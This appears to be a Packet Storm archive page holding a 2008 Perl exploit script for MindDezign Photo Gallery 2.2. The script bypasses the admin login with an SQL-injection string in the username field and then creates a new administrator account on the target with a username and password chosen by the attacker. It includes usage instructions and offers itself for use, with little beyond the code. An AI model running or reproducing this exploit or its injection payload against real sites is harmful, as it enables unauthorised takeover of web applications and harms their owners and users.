exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

minddezignpg-admin.txt

minddezignpg-admin.txt
Posted Oct 23, 2008
Authored by CWH Underground | Site citecclub.org

MindDezign Photo Gallery version 2.2 add administrator exploit.

tags | exploit, add administrator
SHA-256 | f4cb9a5ccf03dff07aacf717e99cb63378b72a2b9cf0ad1e9e2d410b20d14504

minddezignpg-admin.txt

Change Mirror Download
#!/usr/bin/perl
#=============================================================
# MindDezign Photo 2.2 Gallery Arbitrary Add Admin Exploit
#=============================================================
# ,--^----------,--------,-----,-------^--,
# | ||||||||| `--------' | O .. CWH Underground ..
# `+---------------------------^----------|
# `\_,-------, _________________________|
# / XXXXXX /`| /
# / XXXXXX / `\ /
# / XXXXXX /\______(
# / XXXXXX /
# / XXXXXX /
# (________(
# `------'
#
#AUTHOR : CWH Underground
#DATE : 23 October 2008
#SITE : cwh.citec.us
#
#
#####################################################
#APPLICATION : MindDezign Photo Gallery
#VERSION : 2.2
#DOWNLOAD : http://gallery.minddezign.com/?module=download
#####################################################
#
#Note: magic_quotes_gpc = off
#
#This Exploit will Add user to Administrator's Privilege.
#
#######################################################################################
#Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
#Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

use LWP;
use HTTP::Request;
use HTTP::Cookies;

print "\n==================================================\n";
print " MindDezign Photo Arbitrary Add Admin Exploit \n";
print " \n";
print " Discovered By CWH Underground \n";
print "==================================================\n";
print " \n";
print " ,--^----------,--------,-----,-------^--, \n";
print " | ||||||||| `--------' | O \n";
print " `+---------------------------^----------| \n";
print " `\_,-------, _________________________| \n";
print " / XXXXXX /`| / \n";
print " / XXXXXX / `\ / \n";
print " / XXXXXX /\______( \n";
print " / XXXXXX / \n";
print " / XXXXXX / .. CWH Underground .. \n";
print " (________( \n";
print " `------' \n";
print " \n";

if ($#ARGV + 1 != 3)
{
print "Usage: ./xpl.pl <Target URL> <user> <pass>\n";
print "Ex. ./xpl.pl http://www.target.com/gallery/ cwhuser cwhpass\n";
exit();
}

$blogurl = $ARGV[0];
$user = $ARGV[1];
$pass = $ARGV[2];

$loginurl = $blogurl."?module=admin&action=login&task=login";
$adduserurl = $blogurl."?module=admin&action=account&task=edit";
$post_content = "username=".$user."&password=".$pass."&confirm_pass=".$pass."&btn_submit=Submit";


print "\n..::Login Page URL::..\n";
print "$loginurl\n";
print "\n..::Add User Page URL::..\n";
print "$adduserurl\n\n";
print "..::Login Process::..\n";

$ua = LWP::UserAgent->new;
$ua->cookie_jar(HTTP::Cookies->new);
$request = HTTP::Request->new (POST => $loginurl);
$request->header (Accept-Charset => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
$request->content_type ('application/x-www-form-urlencoded');
$request->content ('username=admin\'+or+\'a\'=\'&password=a&btn_submit=Submit');
$response = $ua->request($request);
$location = $response -> header('Location');

print "\n[+]Result :: ";

if ($location =~ /gallery_item_list/)
{
print "Login Success!!!\n";
}
else
{
print "Login Failed!!!\n";
exit();
}

print "\n..::Add Admin Exploit::..\n";
$request = HTTP::Request->new (POST => $adduserurl);
$request->content_type ('application/x-www-form-urlencoded');
$request->content ($post_content);
$response = $ua->request($request);

print "\n[+]Result\n";
print "Username :: ".$user."\n";
print "Password :: ".$pass."\n";
print "Role :: Administrator\n";
print "\nEnjoy with Bugs ;)"

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close